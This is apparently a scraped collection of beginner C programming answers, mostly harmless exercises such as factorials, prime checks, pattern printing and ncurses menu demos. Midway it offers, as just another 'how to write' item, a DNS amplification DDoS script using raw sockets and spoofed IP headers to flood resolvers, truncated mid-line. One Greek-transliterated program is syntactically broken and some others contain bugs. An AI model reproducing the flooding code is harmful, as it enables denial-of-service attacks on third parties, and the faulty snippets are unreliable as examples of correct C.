C Function to Check Vowel

How to write a C Function to Check Vowel in C Programming Language ?


Solution:

C Function to Check Vowel

int check_vowel(char a)
{
    if ( a >= 'A' && a <= 'Z' )
       a = a + 'a' - 'A';   /* Converting to lower case */

    if ( a == 'a' || a == 'e' || a == 'i' || a == 'o' || a == 'u')
       return 1;

    return 0;
}

C Program To Show Pascal Triangle

How to write a C Program To Show Pascal Triangle in C Programming Language ?

Solution:

C Program To Show Pascal Triangle

#include<stdio.h>

long factorial(int);

main()
{
   int i, n, c;

   printf("Enter the number of rows you wish to see in pascal triangle\n");
   scanf("%d",&n);

   for ( i = 0 ; i < n ; i++ )
   {
      for ( c = 0 ; c <= ( n - i - 2 ) ; c++ )
         printf(" ");

      for( c = 0 ; c <= i ; c++ )
         printf("%ld ",factorial(i)/(factorial(c)*factorial(i-c)));

      printf("\n");
   }

   return 0;
}

long factorial(int n)
{
   int c;
   long result = 1;

   for( c = 1 ; c <= n ; c++ )
         result = result*c;

   return ( result );
}

Factorial Program In C Using Function

How to write a Factorial Program In C Using Function ?

Solution:

Factorial Program In C Using Function

#include<stdio.h>

long factorial(int);

main()
{
   int number;
   long fact = 1;

   printf("Enter a number to calculate it's factorial\n");
   scanf("%d",&number);

   printf("%d! = %ld\n", number, factorial(number));

   return 0;
}

long factorial(int n)
{
   int c;
   long result = 1;

   for( c = 1 ; c <= n ; c++ )
         result = result*c;

   return ( result );
}

Factorial Program In C Using Recursion

How to write a C Program Factorial program in c using recursion in C Programming Language ?


Solution:

Factorial program in c using recursion


#include<stdio.h>

long factorial(int);

main()
{
   int num;
   long f;

   printf("ENTER A NUMBER TO FIND FACTORIAL :");
   scanf("%d",&num);

   if(num<0)
      printf("NEGATIVE NUMBERS ARE NOT ALLOWED");
   else
   {
      f = factorial(num);
      printf("%d!=%ld",num,f);
   }
   return(0);
}

long factorial(int n)
{
   if(n==0)
      return(1);
   else
      return(n*factorial(n-1));
}

C Program To Check Leap Year

How to write a C Program To Check Leap Year in C Programming Language ?

Solution:

C Program To Check Leap Year

#include <stdio.h>

main()
{
   int year;

   printf("Enter a year to check if it is a leap year\n");
   scanf("%d", &year);

   if ( year%400 == 0)
      printf("%d is a leap year.\n", year);
   else if ( year%100 == 0)
      printf("%d is not a leap year.\n", year);
   else if ( year%4 == 0 )
      printf("%d is a leap year.\n", year);
   else
      printf("%d is not a leap year.\n", year);

   return 0;
}

C Program Decimal to Binary Conversion

How to write a C Program Decimal to Binary Conversion in C Programming Language ?

Solution:

C Program Decimal to Binary Conversion

#include <stdio.h>

main()
{
   int n, c, k;

   printf("Enter an integer in decimal number system\n");
   scanf("%d",&n);

   printf("%d in binary number system is:\n", n);

   for ( c = 31 ; c >= 0 ; c-- )
   {
      k = n >> c;

      if ( k & 1 )
         printf("1");
      else
         printf("0");
   }

   printf("\n");

   return 0;
}

C Program To Swap two Numbers Using Pointers

How to write a C Program To Swap two Numbers Using Pointers in C Programming Language ?

Solution:

C Program To Swap two Numbers Using Pointers

#include<stdio.h>

main()
{
   int x, y, *a, *b, temp;

   printf("Enter the value of x and y ");
   scanf("%d%d",&x,&y);

   printf("Before Swapping\nx = %d\ny = %d\n", x, y);

   a = &x;
   b = &y;

   temp = *b;
   *b = *a;
   *a = temp;

   printf("After Swapping\nx = %d\ny = %d\n", x, y);

   return 0;
}

C Program To Add Digits Of Entered Number

How to write a C Program To Add Digits Of Entered Number in C Programming Language ?


Solution:

C Program To Add Digits Of Entered Number

#include<stdio.h>

main()
{
   int n, sum = 0, remainder;

   printf("Enter an integer\n");
   scanf("%d",&n);

   while( n != 0 )
   {
      remainder = n % 10;
      sum = sum + remainder;
      n = n / 10;
   }

   printf("Sum of digits of entered number = %d\n",sum);

   return 0;
}

C Program To Swap Two numbers Without Third Variable

How to write a C Program To Swap Two numbers Without Third Variable in C Programming Language ?


Solution:

C Program To Swap Two numbers Without Third Variable

#include<stdio.h>

main()
{
   int a, b;

   printf("Enter two numbers to swap ");
   scanf("%d%d",&a,&b);

   a = a + b;
   b = a - b;
   a = a - b;

   printf("a = %d\nb = %d\n",a,b);
   return 0;
}

C Program To Find ncr And npr

How to write a C Program To Find ncr And npr in C Programming Language ?

Solution:

C Program To Find ncr And npr

#include<stdio.h>

long factorial(int);
long find_ncr(int, int);
long find_npr(int, int);

main()
{
   int n, r;
   long ncr, npr;

   printf("Enter the value of n and r\n");
   scanf("%d%d",&n,&r);

   ncr = find_ncr(n, r);
   npr = find_npr(n, r);

   printf("%dC%d = %ld\n", n, r, ncr);
   printf("%dP%d = %ld\n", n, r, npr);

   return 0;
}

long find_ncr(int n, int r)
{
   long result;

   result = factorial(n)/(factorial(r)*factorial(n-r));

   return result;
}

long find_npr(int n, int r)
{
   long result;

   result = factorial(n)/factorial(n-r);

   return result;
}

long factorial(int n)
{
   int c;
   long result = 1;

   for( c = 1 ; c <= n ; c++ )
      result = result*c;

   return ( result );
}

C Program To Print Patterns Of Numbers And Stars

How to write a C Program To Print Patterns Of Numbers And Stars in C Programming Language ?

Solution:

C Program To Print Patterns Of Numbers And Stars

#include<stdio.h>

main()
{
   int row, c, n, temp;

   printf("Enter the number of rows in pyramid of stars you wish to see ");
   scanf("%d",&n);

   temp = n;

   for ( row = 1 ; row <= n ; row++ )
   {
      for ( c = 1 ; c < temp ; c++ )
         printf(" ");

      temp--;

      for ( c = 1 ; c <= 2*row - 1 ; c++ )
         printf("*");

      printf("\n");
   }

   return 0;
}


Out PUT:-

    *
   ***
  *****
 *******
*********

C Program To Add n Numbers

How to write a C Program To Add n Numbers in C Programming Language ?


Solution:

C Program To Add n Numbers

#include <stdio.h>

main()
{
   int n, sum = 0, c, value;

   printf("Enter the number of integers you want to add\n");
   scanf("%d", &n);

   printf("Enter %d integers\n",n);

   for ( c = 1 ; c <= n ; c++ )
   {
      scanf("%d",&value);
      sum = sum + value;
   }

   printf("Sum of entered integers = %d\n",sum);

   return 0;
}

C Program To Check If It Is A Palindrome Numbers Or Not

How to write a C Program To Check If It Is A Palindrome Numbers Or Not in C Programming Language ?

Solution:

C Program To Check If It Is A Palindrome Numbers Or Not

#include<stdio.h>

main()
{
   int n, reverse = 0, temp;

   printf("Enter a number to check if it is a palindrome or not\n");
   scanf("%d",&n);

   temp = n;

   while( temp != 0 )
   {
      reverse = reverse * 10;
      reverse = reverse + temp%10;
      temp = temp/10;
   }

   if ( n == reverse )
      printf("%d is a palindrome number.\n", n);
   else
      printf("%d is not a palindrome number.\n", n);

   return 0;
}

C Program To Find Armstrong Number

How to write a C Program To Find Armstrong Number in C Programming Language ?


Solution:

#include<stdio.h>
#include<conio.h>

main()
{
   int number, sum = 0, temp, remainder;

   printf("Enter a number\n");    
   scanf("%d",&number);

   temp = number;

   while( temp != 0 )
   {
      remainder = temp%10;
      sum = sum + remainder*remainder*remainder;
      temp = temp/10;
   }

   if ( number == sum )
      printf("Entered number is an armstrong number.");
   else
      printf("Entered number is not an armstrong number.");      

   getch();
   return 0;
}

C Program For Prime Number or Not

How to write a C Program For Prime Number or Not in C Programming Language ?


Solution:

#include<stdio.h>

main()
{
   int n, c = 2;

   printf("Enter a number to check if it is prime\n");
   scanf("%d",&n);

   for ( c = 2 ; c <= n - 1 ; c++ )
   {
      if ( n%c == 0 )
      {
         printf("%d is not prime.\n", n);
  break;
      }
   }
   if ( c == n )
      printf("%d is prime.\n", n);

   return 0;
}

C Program Swapping numbers using call by reference

How to write a C Program Swapping numbers using call by reference in C Programming Language ?

Solution:

Swapping numbers using call by reference

#include<stdio.h>

void swap(int*, int*);

main()
{
   int x, y;

   printf("Enter the value of x and y\n");
   scanf("%d%d",&x,&y);

   printf("Before Swapping\nx = %d\ny = %d\n", x, y);

   swap(&x, &y);

   printf("After Swapping\nx = %d\ny = %d\n", x, y);

   return 0;
}

void swap(int *a, int *b)
{
   int temp;

   temp = *b;
   *b = *a;
   *a = temp;
}

C Program To Reverse A Number

How to write a C Program To Reverse A Number in C Programming Language ?


Solution:

#include<stdio.h>

main()
{
   int n, reverse = 0;

   printf("Enter a number to reverse\n");
   scanf("%d",&n);

   while( n != 0 )
   {
      reverse = reverse * 10;
      reverse = reverse + n%10;
      n = n/10;
   }

   printf("Reverse of entered number is = %d\n", reverse);

   return 0;
}

C Program For Prime Number Using Function

How to write a C Program For Prime Number Using Function in C Programming Language ?

Solution:

#include<stdio.h>

int check_prime(int);

main()
{
   int n, result;

   printf("Enter an integer to check whether it is prime or not.\n");
   scanf("%d",&n);

   result = check_prime(n);

   if ( result == 1 )
      printf("%d is prime.\n", n);
   else
      printf("%d is not prime.\n", n);

   return 0;
}

int check_prime(int a)
{
   int c;

   for ( c = 2 ; c <= a - 1 ; c++ )
   {
      if ( a%c == 0 )
  return 0;
   }
   if ( c == a )
      return 1;
}

C Program For Prime Number

How to write a C Program For Prime Number in C Programming Language ?


Solution:

#include<stdio.h>

main()
{
   int n, i = 3, count, c;

   printf("Enter the number of prime numbers required\n");
   scanf("%d",&n);

   if ( n >= 1 )
   {
      printf("First %d prime numbers are :\n",n);
      printf("2\n");
   }

   for ( count = 2 ; count <= n ;  )
   {
      for ( c = 2 ; c <= i - 1 ; c++ )
      {
         if ( i%c == 0 )
            break;
      }
      if ( c == i )
      {
         printf("%d\n",i);
         count++;
      }
      i++;
   }      

   return 0;
}

C Program To Print Diamond Pattern

How to write a C Program To Print Diamond Pattern in C Programming Language ?


Solution:

#include<stdio.h>

main()
{
    int n, c, k, space = 1;

    printf("Enter number of rows\n");
    scanf("%d",&n);

    space = n - 1;

    for ( k = 1 ; k <= n ; k++ )
    {
        for ( c = 1 ; c <= space ; c++ )
            printf(" ");

        space--;

        for ( c = 1 ; c <= 2*k-1 ; c++)
            printf("*");

        printf("\n");

    }

    space = 1;

    for ( k = 1 ; k <= n - 1 ; k++ )
    {
        for ( c = 1 ; c <= space; c++)
            printf(" ");

        space++;

        for ( c = 1 ; c <= 2*(n-k)-1 ; c++ )
            printf("*");

        printf("\n");
    }      

    return 0;
}


output

  *
 ***
*****
 ***
  * 

C Program to Print Floyd's Triangle

How to write a C Program Print Floyd's Triangle in C Programming Language ?


Solution:


#include<stdio.h>
#include<conio.h>

main()
{
   int n, i,  c, a = 1;

   printf("Enter the number of rows of Floyd's triangle to print\n");
   scanf("%d",&n);

   for ( i = 1 ; i <= n ; i++ )
   {
      for ( c = 1 ; c <= i ; c++ )
      {
         printf("%d ",a);
         a++;
      }
      printf("\n");
   }

   getch();
   return 0;
}

output

1

2 3

4 5 6

7 8 9 10

In Floyd's triangle nth row contains n numbers.

Multi Header Files in 1 for C Program

How to write a C Program Multi Header Files in 1 for C in C Programming Language ?


Solution:

Where there is a line that looks like /*------------------------------------------ */  cut in to each file that it corresponds to.
This is multiple header files in to 1.


/* C - Smit -  System Management Interface Tool.
 *
 *  -----------------------------------------------------------------------------------------------------
 *  This program aimed to work similar to the AIX's Smit and will be a work
 *  in process as it matures and I learn more skills with C.
 *  The Program is written in C using a GNU/Linux OS and tested on 
 *  Linux, Mac OSX and FreeBSD.
 *  -------------------------------------------------------------------------------------------------------------------------
 *
 *  Source Code Filename: fsmenu.h
 *  Source Code Description: Header File for fsmenu.c
 *
 *  -------------------------------------------------------------------------------------------------------------------------
 *
 *  Insert License Here
 *
 */



#ifndef FSMENU_H_
#define FSMENU_H_


/* Draw Shell Menu Function Prototype */
void drawfsmenu(int fsmitem);

/* Main Shell menu function */
int fsmenumain(void);

#endif

/*-----------------------------------------------------------------------------------------------------------------------------*/

/* C - Smit -  System Management Interface Tool.
 *
 *  Copyright (C) 2015-Whatever   Vincent  
 *
 *  -----------------------------------------------------------------------------------------------------
 *  This program aimed to work similar to the AIX's Smit and will be a work
 *  in process as it matures and I learn more skills with C.
 *  The Program is written in C using a GNU/Linux OS and tested on 
 *  Linux, Mac OSX and FreeBSD.
 *  -------------------------------------------------------------------------------------------------------------------------
 *
 *  Source Code Filename: mainmenu.h
 *  Source Code Description: Header File for mainmenu.c
 *
 *  -------------------------------------------------------------------------------------------------------------------------
 *
 *  Insert License Here
 *
 */



#ifndef MAINMENU_H_
#define MAINMENU_H_


/* Draw Shell Menu Function Prototype */
void drawmainmenu(int mmitem);

/* Main Shell menu function */
int mmenumain(void);

#endif

/*--------------------------------------------------------------------------------------------------------------------------------*/

/* C - Smit -  System Management Interface Tool.
 *
 *  Copyright (C) 2015-Whatever   Vincent  
 *
 *  -----------------------------------------------------------------------------------------------------
 *  This program aimed to work similar to the AIX's Smit and will be a work
 *  in process as it matures and I learn more skills with C.
 *  The Program is written in C using a GNU/Linux OS and tested on 
 *  Linux, Mac OSX and FreeBSD.
 *  -------------------------------------------------------------------------------------------------------------------------
 *
 *  Source Code Filename: shells.h
 *  Source Code Description: Header File for Shells.c
 *
 *  -------------------------------------------------------------------------------------------------------------------------
 *
 *  Insert License Here
 *
 */



#ifndef SHELLS_H_
#define SHELLS_H_

/* Execute Default Shell */
void executedefaultshell(void);

/* Draw Shell Menu Function Prototype */
void drawshellmenu(int shmitem);

/* Main Shell menu function */
int shellmenumain(void);

#endif

/*------------------------------------------------------------------------------------------------------------------------------ */

/* C - Smit -  System Management Interface Tool.
 *
 *  Copyright (C) 2015-Whatever   Vincent
 *
 *  -----------------------------------------------------------------------------------------------------
 *  This program aimed to work similar to the AIX's Smit and will be a work
 *  in process as it matures and I learn more skills with C.
 *  The Program is written in C using a GNU/Linux OS and tested on 
 *  Linux, Mac OSX and FreeBSD.
 *  -------------------------------------------------------------------------------------------------------------------------
 *
 *  Source Code Filename: usermenu.h
 *  Source Code Description: Header File for usermenu.c
 *
 *  -------------------------------------------------------------------------------------------------------------------------
 *
 *  Insert License Here
 *
 */



#ifndef USERMENU_H_
#define USERMENU_H_


/* Draw Shell Menu Function Prototype */
void drawusermenu(int usrmitem);

/* Main Shell menu function */
int usermenumain(void);

#endif

Learning TOS Scroll With Pads in C Program

How to write a C Program Learning TOS Scroll With Pads in C Programming Language ?


Solution:

#include <stdio.h>
#include <stdlib.h>
#include <ncurses.h>


#define FILENAME "df.txt"
WINDOW *spare;
WINDOW *prnt;

int counter = 1;

void Drawscreen()
{
    clear();
    box(stdscr, ACS_VLINE, ACS_HLINE);
    refresh();


   
    //prnt = newpad(22, 80);
    prnt = newpad(1000, 82);
    wrefresh(prnt);
    scrollok(prnt, TRUE);
   


}


int readfile()
{
        FILE *fp = fopen(FILENAME, "r");

        if(fp == NULL) {
        return(1);
    }
   
        char line[1024];
       
       
   
        while(fgets(line, 1024, fp) ) {
        //while((fgets(line, 2048,     fp) ) != EOF) {
        mvwprintw(prnt, counter, 2, "%s", line);
        //prefresh(prnt, 1,1,3,2,23,77);
        prefresh(prnt, 1,1,3,2,23,82);
        ++counter;
        wmove(prnt, counter, 2);
        }
   
    return 0;
}




int main()
{
    int key;
    initscr();
    noecho();

   

   
       
       
        Drawscreen();
        readfile();
       
       
   
   
   
   
   
/* Scrolling */
    key = getch();
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);

    getch();
   
    wscrl(prnt, 10);
    prefresh(prnt, 1,1,3,2,23,82);

    getch();

    wscrl(prnt, 15);
    prefresh(prnt, 1,1,3,2,23,82);

    getch();
   
    wscrl(prnt, 25);
    prefresh(prnt, 1,1,3,2,23,82);

    getch();
   
    wscrl(prnt, 30);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
    wscrl(prnt, 40);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
   
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
   
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
   
    wscrl(prnt, 3);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
   
    wscrl(prnt, 100);
    prefresh(prnt, 1,1,3,2,23,82);
   

    getch();
   
    wscrl(prnt, -31);
    prefresh(prnt, 1,1,3,2,23,82);
    getch();
   

    endwin();
   
    printf("Lines Count: %i\n", counter);
   
    return 0;
}

Menu Test in C Program (Modified)

How to write a C Program Menu Test (Modified) in C Programming Language ?

#include <ncurses.h>

#define MENUMAX 6

void drawmenu(int item)
{
    int c;
    char mainmenutitle[] = "Systems Administration";   // Title
    char subtitle[] = "Please move the cursor to the desired item and press Enter";
    char menu [MENUMAX] [21] = {   /* 6 Items for MENUMAX */
   
    "View processes",
    "User and Security",
    "Word Processing",
    "Finanacle Managment",
    "Maintence",
    "Shutdown"
    };

    clear();
    /* Print Title and Subtitle */
    mvaddstr(1, 26, mainmenutitle);
    mvaddstr(3,1, subtitle);
   
    /* Menu Items print and highlight */
   
    for (c=0;c<MENUMAX;c++)
    {
        if (c==item)
            attron(A_REVERSE); // Highlight
        mvaddstr(5+(c*1),5,menu[c]);
        attroff(A_REVERSE);
    }
   
    /* Bottom Part of the Menu */
    attron(A_BOLD);
    mvaddstr(19,2, "F1=Help    F2=Refresh    F9=Shell    Enter=Do");
    attroff(A_BOLD);
    refresh();
}

int main(void)
{
    int key,menuitem;

    menuitem = 0;

    initscr();
   
    refresh();

    drawmenu(menuitem);
    keypad(stdscr,TRUE);
    noecho();    /* Disable Echo */
    do
    {
        key = getch();
        switch(key)
        {
            case KEY_DOWN:
                menuitem++;
                if(menuitem > MENUMAX-1) menuitem = 0;
                break;
            case KEY_UP:
                menuitem--;
                if(menuitem < 0) menuitem = MENUMAX-1;
                break;
            default:
                break;
        }
        drawmenu(menuitem);
    } while(key != '\n');

    echo(); /* Turn on Echo */

    /* At this point, the value of selected menu is kept in the menuitem
     * varible. The program can branch off to whatever subroutine
     * is required to carry out that function */

    endwin();
    return 0;
}

Free Smit Menu Test in C Program

How to write a C Program Free Smit Menu Test in C Programming Language ?


Solution:

#include <ncurses.h>

#define MENUMAX 7
#define PROGNAME "Free SMIT"

void drawmenu(int item)
{
    int c;
    char mainmenutitle[] = "Systems Administration";   // Title
    char subtitle[] = "Please move the cursor to the desired item and press Enter";
    char menu [MENUMAX] [34] = {   /* 6 Items for MENUMAX */
   
    "Process Viewer",
    "Filesystem Management",
    "Users & Groups",
    "Init Manager",
    "About Free SMIT",
    "Test",
    "Shutdown"
    };

    clear();
    /* Print Title and Subtitle */
    attron(A_BOLD);
    mvaddstr(1, 26, mainmenutitle);
    mvaddstr(3,1, subtitle);
    attroff(A_BOLD);
   
    /* Menu Items print and highlight */
   
    for (c=0;c<MENUMAX;c++)
    {
        if (c==item)
            attron(A_REVERSE); // Highlight
        mvaddstr(5+(c*1),5,menu[c]);
        attroff(A_REVERSE);
    }
   
    /* Bottom Part of the Menu */
    attron(A_BOLD);
    mvaddstr(19,2, "F1=Help    F2=Refresh    F9=Shell    Enter=Do");
    attroff(A_BOLD);
   
    refresh();
}

int main(void)
{
    int key,menuitem;

    menuitem = 0;

    initscr();
   
    refresh();

    drawmenu(menuitem);
    mvprintw(20,2, "Menuitem Item %d", menuitem);
    keypad(stdscr,TRUE);
    noecho();    /* Disable Echo */
    do
    {
        key = getch();
        switch(key)
        {
            case KEY_DOWN:
                menuitem++;
                if(menuitem > MENUMAX-1) menuitem = 0;
                break;
            case KEY_UP:
                menuitem--;
                if(menuitem < 0) menuitem = MENUMAX-1;
                break;
            default:
                break;
        }
        drawmenu(menuitem);
        mvprintw(20,2, "Menuitem Item %d", menuitem);
        refresh();
    } while(key != '\n');

    echo(); /* Turn on Echo */

    /* At this point, the value of selected menu is kept in the menuitem
     * varible. The program can branch off to whatever subroutine
     * is required to carry out that function */

    endwin();
    return 0;
}

C Program DNS AMPLIFICATION DDOS SCRIPT

How to C Program DNS AMPLIFICATION DDOS SCRIPT in C Programming Language ?


Solution:

/* DNS AMPLIFICATION DDOS SKRIPT */

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define PACKETS_PER_RESOLVER 25

static uint32_t Q[4096], c = 362436;

struct list
{
                 struct sockaddr_in data;
                 char domain[512];
                 int line;
                 struct list *next;
                 struct list *prev;
};
struct list *head;

struct thread_data{
                 int thread_id;
                 struct list *list_node;
                 struct sockaddr_in sin;
                 int port;
};

struct DNS_HEADER
{
                 unsigned short id; // identification number

                 unsigned char rd :1; // recursion desired
                 unsigned char tc :1; // truncated message
                 unsigned char aa :1; // authoritive answer
                 unsigned char opcode :4; // purpose of message
                 unsigned char qr :1; // query/response flag

                 unsigned char rcode :4; // response code
                 unsigned char cd :1; // checking disabled
                 unsigned char ad :1; // authenticated data
                 unsigned char z :1; // its z! reserved
                 unsigned char ra :1; // recursion available

                 unsigned short q_count; // number of question entries
                 unsigned short ans_count; // number of answer entries
                 unsigned short auth_count; // number of authority entries
                 unsigned short add_count; // number of resource entries
};

//Constant sized fields of query structure
struct QUESTION
{
         unsigned short qtype;
         unsigned short qclass;
};

//Constant sized fields of the resource record structure
struct QUERY
{
                 unsigned char *name;
                 struct QUESTION *ques;
};

void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
                 int lock = 0 , i;
                 strcat((char*)host,".");

                 for(i = 0 ; i < strlen((char*)host) ; i++)
                 {
                                 if(host[i]=='.')
                                 {
                                                 *dns++ = i-lock;
                                                 for(;lock<i;lock++)
                                                 {
                                                                 *dns++=host[lock];
                                                 }
                                                 lock++; //or lock=i+1;
                                 }
                 }
                 *dns++='\0';
}

void init_rand(uint32_t x)
{
                 int i;

                 Q[0] = x;
                 Q[1] = x + PHI;
                 Q[2] = x + PHI + PHI;

                 for (i = 3; i < 4096; i++)
                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}

uint32_t rand_cmwc(void)
{
                 uint64_t t, a = 18782LL;
                 static uint32_t i = 4095;
                 uint32_t x, r = 0xfffffffe;
                 i = (i + 1) & 4095;
                 t = a * Q[i] + c;
                 c = (t >> 32);
                 x = t + c;
                 if (x < c) {
                                 x++;
                                 c++;
                 }
                 return (Q[i] = r - x);
}

/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
                 unsigned long sum;
                 for (sum = 0; nwords > 0; nwords--)
                 sum += *buf++;
                 sum = (sum >> 16) + (sum & 0xffff);
                 sum += (sum >> 16);
                 return (unsigned short)(~sum);
}

void setup_udp_header(struct udphdr *udph)
{

}

void *flood(void *par1)
{
                 struct thread_data *td = (struct thread_data *)par1;

                 char strPacket[MAX_PACKET_SIZE];
                 int iPayloadSize = 0;

                 struct sockaddr_in sin = td->sin;
                 struct list *list_node = td->list_node;
                 int iPort = td->port;

                 int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
                 if(s < 0)
                 {
                         fprintf(stderr, "Error: Could not open raw socket. Root privileges are required!\n");
                         exit(-1);
                 }

                 //init random
                 init_rand(time(NULL));

                 // Clear the data
                 memset(strPacket, 0, MAX_PACKET_SIZE);

                 // Make the packet
                 struct iphdr *iph = (struct iphdr *) &strPacket;
                 iph->ihl = 5;
                 iph->version = 4;
                 iph->tos = 0;
                 iph->tot_len = sizeof(struct iphdr) + 38;
                 iph->id = htonl(54321);
                 iph->frag_off = 0;
                 iph->ttl = MAXTTL;
                 iph->protocol = IPPROTO_UDP;
                 iph->check = 0;
                 iph->saddr = inet_addr("192.168.3.100");

                 iPayloadSize += sizeof(struct iphdr);


                 struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
                 udph->source = htons(iPort);
                 udph->dest = htons(53);
                 udph->check = 0;

                 iPayloadSize += sizeof(struct udphdr);

                 struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
                 dns->id = (unsigned short) htons(rand_cmwc());
                 dns->qr = 0; //This is a query
                 dns->opcode = 0; //This is a standard query
                 dns->aa = 0; //Not Authoritative
                 dns->tc = 0; //This message is not truncated
                 dns->rd = 1; //Recursion Desired
                 dns->ra = 0; //Recursion not available! hey we dont have it (lol)
                 dns->z = 0;
                 dns->ad = 0;
                 dns->cd = 0;
                 dns->rcode = 0;
                 dns->q_count = htons(1); //we have only 1 question
                 dns->ans_count = 0;
                 dns->auth_count = 0;
                 dns->add_count = htons(1);

                 iPayloadSize += sizeof(struct DNS_HEADER);

                 sin.sin_port = udph->source;
                 iph->saddr = sin.sin_addr.s_addr;
                 iph->daddr = list_node->data.sin_addr.s_addr;
                 iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);


                 char strDomain[512];
                 int i;
                 int j = 0;
                 int iAdditionalSize = 0;
                 while(1)
                 {
                         if(j==2){
                                 usleep(100);
                                 j=0;
                         }



                         //set the next node
                         list_node = list_node->next;

                         //Clear the old domain and question
                         memset(&strPacket[iPayloadSize + 

C: Programma pou emfanizei tis imeres enos mina opoioudipote etous

Programma pou emfanizei tis imeres enos mina opoioudipote etous


Solution: 

  1. /*Programma pou emfanizei tis imeres enos mina opoioudipote etous*/
  2.  
  3. #iinclude <stdio.h>
  4. main ()
  5. {
  6.     int minas, etos, imeres;
  7.     printf ("\n**** EURESI IMERWN TOU MINA OPOIOUDIPOTE ETOUS ****");
  8.     printf ("\n---------------------------------------------------");
  9.     printf ("\nParakalw dwste etos   p.x. 1978:  ");
  10.     scanf ("%d", &etos);
  11.     while (etos<=0)
  12.     {
  13.         printf ("\nO xronos pou valate einai lathos, parakalw ksanadoste     : ");
  14.         scanf ("%d", &etos);
  15.     }
  16.     printf ("\nParakalw dwste mina  p.x. 10:     ");
  17.     scanf ("%d", &minas);
  18.     while (minas<1 && minas>12)
  19.     {
  20.         printf ("\nO minas pou valate einai o %d kai einai lathos, parakalw ksanadwste      : ", minas);
  21.         scanf ("%d", &minas);
  22.     }
  23.     if (minas=4 || minas=6 || minas=9 || minas=11)
  24.     {
  25.         imeres=30;
  26.         printf ("\nApantisi: \n\n O %dos minas tou etous %d eixe/exei %d imeres. \n\nTelos Programmatos", minas, etos, imeres);
  27.     }
  28.     else if (minas=1 || minas=3 || minas=5 || minas=7 || minas=8 || minas=10 || minas=12)
  29.     {
  30.         imeres=31;
  31.         printf ("\nApantisi:  \n\n O %dos minas tou etous %d eixe/exei %d imeres. \n\nTelos Programmatos", minas, etos, imeres);
  32.     }
  33.     else if (minas=2)
  34.     {
  35.         if (etos%4=0 && etos%100!=0 && etos%400=0)
  36.         imeres=29;
  37.         printf ("\nApantisi: \n\nO %dos minas tou etous %d (einai disekto etos) eixe/exei %d imeres.\n\nTelos Programmatos",minas, etos, imeres);
  38.         else
  39.         {
  40.             imeres=28;
  41.             printf ("\nApantisi: \n\nO %dos minas tou etous %d (den einai disekto etos) eixe/exei %d imeres. \n\nTelos Programmatos", minas, etos, imeres);
  42.         }
  43.        
  44.     }  
  45. }

Write a program that displays which character appears most often (switch /M ) or least often (/L) in the standard input.

How to Write a program that displays which character appears most often (switch /M ) or least often (/L) in the standard input. The default is /M.


Remark:
The number of occurrences of all characters could be kept in an array of counters :
int allChars[256];
The numerical value of a character should be used as an index to the array.
int c;
…..
To undate the value of a counter for the character from the variable c
allChars[c]=allChars[c]+1;
or
allChars[c]++;
to search the array of counters you can use the code snippet:
int k;
for (k=0; k<sizeof(allChars)/sizeof(int); k++)
{
………………
}

This Program is Currently Not Available and If You Have The Program Code You Can Send Us.